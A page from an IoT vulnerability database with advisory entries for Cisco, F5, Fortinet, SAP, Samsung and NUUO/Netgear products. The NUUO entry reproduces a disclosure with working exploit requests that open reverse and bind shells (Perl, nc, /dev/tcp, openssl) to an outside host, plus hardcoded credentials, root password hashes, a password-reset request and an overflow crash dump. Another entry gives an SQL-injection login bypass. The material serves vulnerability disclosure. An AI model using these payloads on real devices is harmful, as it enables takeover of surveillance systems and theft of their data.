VARIoT IoT vulnerabilities database

Affected products: vendor, model and version
CWE format is 'CWE-number'. Threat type can be: remote or local
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VAR-201608-0243 CVE-2016-1477 Cisco Connected Streaming Analytics Vulnerabilities in obtaining notification service password CVSS V2: 4.0
CVSS V3: 6.5
Severity: MEDIUM
Cisco Connected Streaming Analytics 1.1.1 allows remote authenticated users to discover a notification service password by reading administrative pages, aka Bug ID CSCuz92891. Attackers can exploit this issue to gain unauthorized access to the affected device. This may aid in further attacks. The issue is being tracked by Cisco Bug ID CSCuz92891. The platform provides functions such as rapid detection of problems, risks and immediate decision-making, real-time reporting and early warning. A remote attacker could exploit this vulnerability by reading the administrator page to discover the server password
VAR-201608-0242 CVE-2016-1476 Cisco IP Phone 8800 Series Cross-Site Scripting Vulnerability CVSS V2: 3.5
CVSS V3: 5.4
Severity: MEDIUM
Cross-site scripting (XSS) vulnerability on Cisco IP Phone 8800 devices with software 11.0 allows remote authenticated users to inject arbitrary web script or HTML via crafted parameters, aka Bug ID CSCuz03024. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. This issue is being tracked by Cisco Bug ID CSCuz03024
VAR-201608-0203 CVE-2015-8022 plural F5 Product Configuration Vulnerability gained by utility CVSS V2: 8.5
CVSS V3: 7.5
Severity: HIGH
The Configuration utility in F5 BIG-IP LTM, Analytics, APM, ASM, GTM, and Link Controller 11.x before 11.2.1 HF16, 11.3.x, 11.4.x before 11.4.1 HF10, 11.5.x before 11.5.4, and 11.6.x before 11.6.1; BIG-IP AAM 11.4.x before 11.4.1 HF10, 11.5.x before 11.5.4, and 11.6.x before 11.6.1; BIG-IP AFM and PEM 11.3.x, 11.4.x before 11.4.1 HF10, 11.5.x before 11.5.4, and 11.6.x before 11.6.1; BIG-IP Edge Gateway, WebAccelerator, and WOM 11.x before 11.2.1 HF16 and 11.3.0; and BIG-IP PSM 11.x before 11.2.1 HF16, 11.3.x, and 11.4.x before 11.4.1 HF10 allows remote authenticated users with certain permissions to gain privileges by leveraging an Access Policy Manager customization configuration section that allows file uploads. F5 BIG-IP is prone to an arbitrary file-upload vulnerability. An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application or privilege escalation. F5 BIG-IP LTM, etc. are all products of F5 Company in the United States. LTM is a local traffic manager; APM is a solution that provides secure unified access to business-critical applications and networks. A security vulnerability exists in several F5 products due to the BIG-IP configuration application not properly validating the file type and content. A remote attacker could exploit this vulnerability to gain privileges. x version
VAR-201608-0493 No CVE Beijing Dingfeng Gold Technology Co., Ltd. Library System Authentication Bypass Vulnerability CVSS V2: 4.0
CVSS V3: -
Severity: MEDIUM
Beijing Dingfeng Gold Technology Co., Ltd. library system is widely used in various enterprises and institutions, major schools and other libraries. Including system management, system query, system settings, printing, borrowing books, returning books and other major modules. There is an authentication bypass vulnerability in the library system of Beijing Dingfeng Gold Technology Co., Ltd. The attacker can enter 'or' = 'to log in to the system directly at the login
VAR-201608-0276 CVE-2016-3193 Fortinet FortiManager and FortiAnalyzer Of appliance Web Application cross-site scripting vulnerability CVSS V2: 3.5
CVSS V3: 5.4
Severity: MEDIUM
Cross-site scripting (XSS) vulnerability in the appliance web-application in Fortinet FortiManager 5.x before 5.0.12, 5.2.x before 5.2.6, and 5.4.x before 5.4.1 and FortiAnalyzer 5.x before 5.0.13, 5.2.x before 5.2.6, and 5.4.x before 5.4.1 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors. FortiManager and FortiAnalyzer are prone to an HTML injection vulnerability because it fails to properly sanitize user-supplied input. Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. Both Fortinet FortiManager and FortiAnalyzer are products of Fortinet. Fortinet FortiManager is a centralized network security management solution. FortiAnalyzer is a centralized network security reporting solution. A cross-site scripting vulnerability exists in the web-application in Fortinet FortiManager and FortiAnalyzer. The following versions are affected: Fortinet FortiManager 5.x prior to 5.0.12, 5.2.x prior to 5.2.6, 5.4.x prior to 5.4.1; FortiAnalyzer 5.x prior to 5.0.13, 5.2. 5.2.x prior to 6, 5.4.x prior to 5.4.1
VAR-201608-0285 CVE-2016-3194 Fortinet FortiManager and FortiAnalyzer Cross-site scripting vulnerability in the add address page CVSS V2: 4.3
CVSS V3: 6.1
Severity: MEDIUM
Cross-site scripting (XSS) vulnerability in the address added page in Fortinet FortiManager 5.x before 5.0.12 and 5.2.x before 5.2.6 and FortiAnalyzer 5.x before 5.0.13 and 5.2.x before 5.2.6 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. FortiManager and FortiAnalyzer are prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. Both Fortinet FortiManager and FortiAnalyzer are products of Fortinet. Fortinet FortiManager is a centralized network security management solution. FortiAnalyzer is a centralized network security reporting solution. The following versions are affected: Fortinet FortiManager 5.x prior to 5.0.12, 5.2.x prior to 5.2.6, FortiAnalyzer 5.x prior to 5.0.13, 5.2.x prior to 5.2.6
VAR-201608-0286 CVE-2016-3195 Fortinet FortiManager and FortiAnalyzer of Web-UI Vulnerable to cross-site scripting CVSS V2: 4.3
CVSS V3: 6.1
Severity: MEDIUM
Cross-site scripting (XSS) vulnerability in the Web-UI in Fortinet FortiManager 5.x before 5.0.12 and 5.2.x before 5.2.6 and FortiAnalyzer 5.x before 5.0.13 and 5.2.x before 5.2.6 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors. FortiManager and FortiAnalyzer are prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. Both Fortinet FortiManager and FortiAnalyzer are products of Fortinet. Fortinet FortiManager is a centralized network security management solution. FortiAnalyzer is a centralized network security reporting solution. The following versions are affected: Fortinet FortiManager 5.x prior to 5.0.12, 5.2.x prior to 5.2.6, FortiAnalyzer 5.x prior to 5.0.13, 5.2.x prior to 5.2.6
VAR-201608-0537 No CVE SAP NetWeaver Application Server Java Directory Traversal Vulnerability CVSS V2: -
CVSS V3: -
Severity: -
SAP NetWeaver Application Server Java is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. Remote attackers can use specially crafted requests with directory-traversal sequences ('../') to retrieve arbitrary files in the context of the application. This may aid in further attacks. SAP NetWeaver 7.4 is vulnerable.
VAR-201611-0319 CVE-2016-9562 SAP NetWeaver AS JAVA Service disruption in (DoS) Vulnerabilities CVSS V2: 5.0
CVSS V3: 7.5
Severity: HIGH
SAP NetWeaver AS JAVA 7.4 allows remote attackers to cause a Denial of Service (null pointer exception and icman outage) via an HTTPS request to the sap.com~P4TunnelingApp!web/myServlet URI, aka SAP Security Note 2313835. Vendors have confirmed this vulnerability SAP Security Note 2313835 It is released as. Supplementary information : CWE Vulnerability type by CWE-476: NULL Pointer Dereference (NULL Pointer dereference ) Has been identified. SAP NetWeaver Application Server Java is prone to a denial-of-service vulnerability. An attacker can exploit this issue to cause denial-of-service conditions. SAP NetWeaver Application Server Java 7.4 is vulnerable
VAR-201609-0259 CVE-2016-4845 Multiple I-O DATA Recording Hard disk products vulnerable to cross-site request forgery CVSS V2: 6.8
CVSS V3: 8.8
Severity: HIGH
Cross-site request forgery (CSRF) vulnerability on I-O DATA DEVICE HVL-A2.0, HVL-A3.0, HVL-A4.0, HVL-AT1.0S, HVL-AT2.0, HVL-AT3.0, HVL-AT4.0, HVL-AT2.0A, HVL-AT3.0A, and HVL-AT4.0A devices with firmware before 2.04 allows remote attackers to hijack the authentication of arbitrary users for requests that delete content. Multiple Recording Hard disk products provided by I-O DATA DEVICE, INC. contain a cross-site request forgery vulnerability due to an issue in the web management screen. kaito834 reported this vulnerability to IPA. JPCERT/CC coordinated with the developer under Information Security Early Warning Partnership.If a user views a malicious page, an arbitrary content may be deleted. Exploiting this issue may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. IO DATA DEVICE HVL-A, etc. A remote attacker could exploit this vulnerability to delete content. The following versions are affected: The following products using firmware versions earlier than 2.04 are affected: IO DATA DEVICE HVL-A2.0, HVL-A3.0, HVL-A4.0, HVL-AT1.0S, HVL-AT2.0, HVL -AT3.0, HVL-AT4.0, HVL-AT2.0A, HVL-AT3.0A, HVL-AT4.0A
VAR-201608-0499 No CVE MuPDF heap overflow vulnerability CVSS V2: 7.5
CVSS V3: -
Severity: HIGH
MuPDF is a lightweight, high quality PDF/XPS/CBZ viewer for Android devices. MuPDF has a heap overflow vulnerability in source/pdf/pdf-shade.c of the pdf_load_mesh_params function. Allows an attacker to exploit this vulnerability to control memory.
VAR-201701-0191 CVE-2016-6526 Samsung Note Device Telecom Application SpamCall Activity Service disruption in components (DoS) Vulnerabilities CVSS V2: 9.3
CVSS V3: 7.8
Severity: HIGH
The SpamCall Activity component in Telecom application on Samsung Note device L(5.0/5.1) and M(6.0) allows attackers to cause a denial of service (crash and reboot) or possibly gain privileges via a malformed serializable object. Samsung MobilePhone is a smartphone released by Samsung in South Korea. Samsung MobilePhone has a security vulnerability that allows a local attacker to exploit this vulnerability to increase privileges. Samsung Android Phone is prone to multiple privilege-escalation vulnerabilities. Attackers can exploit these issues gain elevated privileges. Samsung Mobile Phones running Android versions L 5.0, L 5.1 and M 6.0 are vulnerable. Description of the potential vulnerability: Severity: Medium Affected versions: L(5.0/5.1), M(6.0) Reported on: May 11, 2016 Disclosure status: Privately disclosed. Fix: http://security.samsungmobile.com/smrupdate.html#SMR-AUG-2016 SVE-2016-6242: Possible Privilege Escalation in telecom Description of the potential vulnerability: Severity: Medium Affected versions: L(5.0/5.1), M(6.0) Reported on: May 11, 2016 Disclosure status: Privately disclosed. Fix: http://security.samsungmobile.com/smrupdate.html#SMR-AUG-2016 SVE-2016-6244: Possible Privilege Escalation in telecom Sincerely, Zhaozhanpeng(0xr0ot)
VAR-201608-0072 CVE-2016-5679 NUUO and Netgear Network Video Recorder (NVR) products web interfaces contain multiple vulnerabilities CVSS V2: 9.0
CVSS V3: 8.8
Severity: HIGH
cgi-bin/cgi_main in NUUO NVRmini 2 1.7.6 through 3.0.0 and NETGEAR ReadyNAS Surveillance 1.1.2 allows remote authenticated users to execute arbitrary commands via shell metacharacters in the sn parameter to the transfer_license command. NUUO NVRmini 2, NVRsolo, Crystal, and Netgear ReadyNAS Surveillance products have web management interfaces containing multiple vulnerabilities that can be leveraged to gain complete control of affected devices. NUUONVRmini2 is a network video recorder from NUUO. NetGearReadyNASSurveillance is a comprehensive IP video surveillance solution that integrates video surveillance software, storage, switching and network management with NetGear. An operating system command injection vulnerability exists in the version of NUUONVRmini21.7.6 to 3.0.0 and the version of NetGearReadyNASSurveillance 1.1.2, which is caused by the program failing to properly validate user-submitted input. An attacker could exploit the vulnerability to execute arbitrary code by sending a specially crafted request. NUUO and Netgear Network Multiple Products are prone to multiple security vulnerabilities. Setup is simple and easy, with automatic port forwarding settings built in. NVRmini 2 supports POS integration, making this the perfect solution for small retail chain stores. NVRmini 2 also comes full equipped as a NAS, so you can enjoy the full storage benefits like easy hard drive hot-swapping and RAID functions for data protection. Choose NVR and know that your valuable video data is safe, always." "NVRsolo is NUUOas answer to hassle free, lightweight NVR system. It is small in size yet able to handle heavy duty tasks. With local HDMI/VGA display and keyboard/mouse input built right into the unit, configuring NVRsolo is easy and simple. Built on solid Linux foundation, we sacrificed nothing except unnecessary bulk to make NVRsolo the award winning standalone NVR solution you have been looking for. NVRsolo's flexibility doesn't end there. For those needing more storage options, we offer 8 bay versions to meet your needs." "NUUO CrystalaC/ is the product that represents the next stage in VMS evolution. Rock solid, easily manageable, with powerful recording and viewing options available. Featuring revolutionary modular system structure that is made to handle large project size, NUUO CrystalaC/ is the ideal choice for your enterprise. Small businesses and corporate branch offices require a secure way to protect physical assets, but may lack deep security expertise or a big budget. A user-friendly NVR system should combine fast and flexible configuration with easy operation. With a few simple steps for installation, the web-based management leads users to configure, monitor and playback video everywhere. UPnP search, auto camera detection and GUI schedule save setting-up time, while the easy drag and drop camera, auto scan, preset point patrolling, and multiple views offer users a prime monitoring experience." >> Summary: NUUO is a vendor of Network Video Recording (NVR) systems for surveillance cameras. These NVR are Linux embedded video recording systems that can manage a number of cameras and are used worldwide by public institutions, banks, SME's, etc. The web interface contains a number of critical vulnerabilities that can be abused by unauthenticated attackers. These consist of monitoring backdoors left in the PHP files that are supposed to be used by NUUO's engineers, hardcoded credentials, poorly sanitised input and a buffer overflow which can be abused to achieve code execution on NUUO's devices as root, and on NETGEAR as the admin user. Although only the NVRmini 2, NVRsolo, Crystal and ReadyNAS Surveillance devices are known to be affected, it is likely that the same code is used in other NUUO devices or even other third party devices (the firmware is littered with references to other devices like NUUO Titan). However this has not been confirmed as it was not possible to access all NUUO and third party devices that might be using the same code. A special thanks to CERT/CC (https://www.cert.org/) for assistance with disclosing the vulnerabilities to the vendors [1]. Metasploit exploits for #1, #2 and #3 have been released. >> Technical details: #1 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5674 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The web inteface contains a hidden file named __debugging_center_utils___.php that improperly sanitises input to the log parameter, which is passed to the PHP system() call (snippet below): function print_file($file_fullpath_name) { $cmd = "cat " . $file_fullpath_name; echo $file_fullpath_name . "\n\n"; system($cmd); } <?php if (isset($_GET['log']) && !empty($_GET['log'])) { $file_fullpath_name = constant('LOG_FILE_FOLDER') . '/' . basename($_GET['log']); print_file($file_fullpath_name); } else { die("unknown command."); } ?> The file can be accessed by an unauthenticated user, and code execution can be achieved with the following proofs of concept: - ReadyNAS Surveillance: GET /__debugging_center_utils___.php?log=something%3bperl+-MIO%3a%3aSocket+-e+'$p%3dfork%3bexit,if($p)%3b$c%3dnew+IO%3a%3aSocket%3a%3aINET(PeerAddr,"192.168.1.204%3a9000")%3bSTDIN->fdopen($c,r)%3b$~->fdopen($c,w)%3bsystem$_+while<>%3b' This will connect a shell back to 192.168.1.204 on port 9000, running as the "admin" user. - NVRmini 2 and NVRsolo: GET /__debugging_center_utils___.php?log=something%3btelnet+192.168.1.204+9999+|+bash+|+telnet+192.168.1.204+9998 This will connect two shells to 192.168.1.204, one on port 9999 and another on port 9998. To execute commands, echo into the 9999 shell, and receive the output on the 9998 shell. Commands will run as the root user. #2 Vulnerability: Improper Input Validation (leading to remote code execution) CVE-2016-5675 Attack Vector: Remote Constraints: Requires an administrator account Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - NUUO Crystal, firmware v2.2.1 to v3.2.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The handle_daylightsaving.php page does not sanitise input from the NTPServer parameter correctly and passes it to a PHP system() command (code snippet below): else if ($act == 'update') { $cmd = sprintf("/usr/bin/ntpdate %s", $_GET['NTPServer']); $find_str = "time server"; $sys_msg = system($cmd); $pos = strpos($sys_msg, $find_str); The file can only be accessed by an authenticted user. - ReadyNAS Surveillance: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3b+whoami+>+/tmp/test This will create a /tmp/test file with the contents of "admin" (current user). - NVRmini 2 and NVRsolo: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3brm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.1.204+9000+>/tmp/f Connects a shell to 192.168.1.204, port 9000, running as root. - Crystal: GET /handle_daylightsaving.php?act=update&NTPServer=bla%3bbash+-i+>%26+/dev/tcp/192.168.1.204/4444+0>%26 Connects a shell to 192.168.1.204, port 4444, running as root. #3 Vulnerability: Administrator password reset CVE-2016-5676 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - NUUO NVRsolo, firmware v1.7.5 to unknown (latest version v3.0.0 requires authentication) - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected On older versions of the firmware and in the ReadyNAS Surveillance application unauthenticated users can call the cgi_system binary from the web interface. This binary performs a number of sensitive system commands, such as the loading of the default configuration that resets the administrator password. It seems that at least versions 2.2.1 and 3.0.0 of the NVRmini 2 and NVRsolo firmware are not affected, so this vulnerability was fixed either on these or earlier versions, but ReadyNAS Surveillance is still vulnerable. Proof of concept: GET /cgi-bin/cgi_system?cmd=loaddefconfig This will reset the admin password of the web interface to admin or password (depending on the firmware version) on all affected devices. #4 Vulnerability: Information disclosure (system processes, available memory and filesystem status) CVE-2016-5677 Attack Vector: Remote Constraints: None, can be exploited by an unauthenticated attacker Affected products / versions: - NUUO NVRmini 2, firmware v1.7.5 to 3.0.0 (older firmware versions might be affected) - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 - ReadyNAS Surveillance, v1.1.1 to v1.4.1 (affects both x86 and ARM versions, older versions might be affected) - Other NUUO products that share the same web interface might be affected The web interface contains a hidden page (__nvr_status___.php) with a hardcoded username and password that lists the current system processes, available memory and filesystem status. This information can be obtained by an unauthenticated user by performing the following request: POST /__nvr_status___.php HTTP/1.1 username=nuuoeng&password=qwe23622260&submit=Submit #5 Vulnerability: Harcoded root password CVE-2016-5678 Affected products / versions: - NUUO NVRmini 2, firmware v1.0.0 to 3.0.0 - NUUO NVRsolo, firmware v1.0.0 to 3.0.0 The NVRmini 2 and NVRsolo contain two hardcoded root passwords (one is commented). These passwords have not been cracked, but they are present in the firmware images which are deployed to all NVRmini 2 / NVRsolo devices. NVRmini 2: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$vd3TecoS$VyBh4/IsumZkqFU.1wfrV.:14461:0:99999:7::: NVRsolo: #root:$1$1b0pmacH$sP7VdEAv01TvOk1JSl2L6/:14495:0:99999:7::: root:$1$72ZFYrXC$aDYHvkWBGcRRgCrpSCpiw1:0:0:99999:7::: #6 Vulnerability: Command injection in cgi_main transfer license command CVE-2016-5679 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user Affected products / versions: - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The transfer_license command has a command injection vulnerability in the "sn" parameter: cgi_main?cmd=transfer_license&method=offline&sn=";<command>;# Sample exploit for NVRmini2 (open bind shell on port 4444): GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bnc+-l+-p+4444+-e+/bin/sh+%26+%23 NETGEAR Surveillance doesn't have netcat, but we can get an openssl reverse shell to 192.168.133.204:4444 instead: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn="%3bmkfifo+/tmp/s%3b+/bin/bash+-i+<+/tmp/s+2>%261+|+openssl+s_client+-quiet+-connect+192.168.133.204%3a4444+>+/tmp/s%3b+rm+/tmp/s%3b%23 > Local exploitation: This vulnerability can be exploited locally by a logged in user to escalate privileges to root on the NVRmini2 and admin on the ReadyNAS with the following command: CGI_DEBUG=qwe23622260 cgi_main transfer_license 'method=offline&sn=<PAYLOAD>' The cgi_main binary is located at "/apps/surveillance/bin/cgi_main" on the ReadyNAS and "/NUUO/bin/cgi_main" on the NVRmini2. #7 Vulnerability: Stack buffer overflow in cgi_main transfer license command CVE-2016-5680 Attack Vector: Local / Remote Constraints: Requires an administrator account if exploited remotely; can be exploited locally by any logged in user - NUUO NVRmini 2, firmware v1.7.6 to 3.0.0 (older firmware versions might be affected) - ReadyNAS Surveillance, v1.1.2 (x86 and older versions might be affected) The "sn" parameter in transfer_license cgi_main method not only has a command injection vulnerability, but also a stack buffer overflow. Below is the pseudocode of the affected function - as it can be seen in the sprintf line, the "sn" parameter is copied directly into a string with a fixed length of 128 characters. Function 0x20BC9C (NVRmini2 firmware v3.0.0): method = getval("method"); sn = getval("sn"); (...) memset(&command, 0, 128); sprintf(&command, "logger -p local0.info -t 'system' \"Activate license: %s\"", sn); system(&command); > For example if the following request is performed: GET /cgi-bin/cgi_main?cmd=transfer_license&method=offline&sn=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa > A core file is generated: Core was generated by `/NUUO/bin/cgi_main'. Program terminated with signal SIGSEGV, Segmentation fault. #0 0x61616160 in ?? () (gdb) i r r0 0x0 0 r1 0x0 0 r2 0x407aa4d0 1081779408 r3 0x407aa9e0 1081780704 r4 0x61616161 1633771873 r5 0x61616161 1633771873 r6 0x61616161 1633771873 r7 0x61616161 1633771873 r8 0x331fc8 3350472 r9 0x1 1 r10 0x33db54 3398484 r11 0x0 0 r12 0x1 1 sp 0xbedce528 0xbedce528 lr 0x61616161 1633771873 pc 0x61616160 0x61616160 cpsr 0x60000030 1610612784 (gdb) The request can be sent by an HTTP GET or POST method. > A few registers can be controlled with the sn parameter, as it can be seen in the diagram below for the NVRmini2: 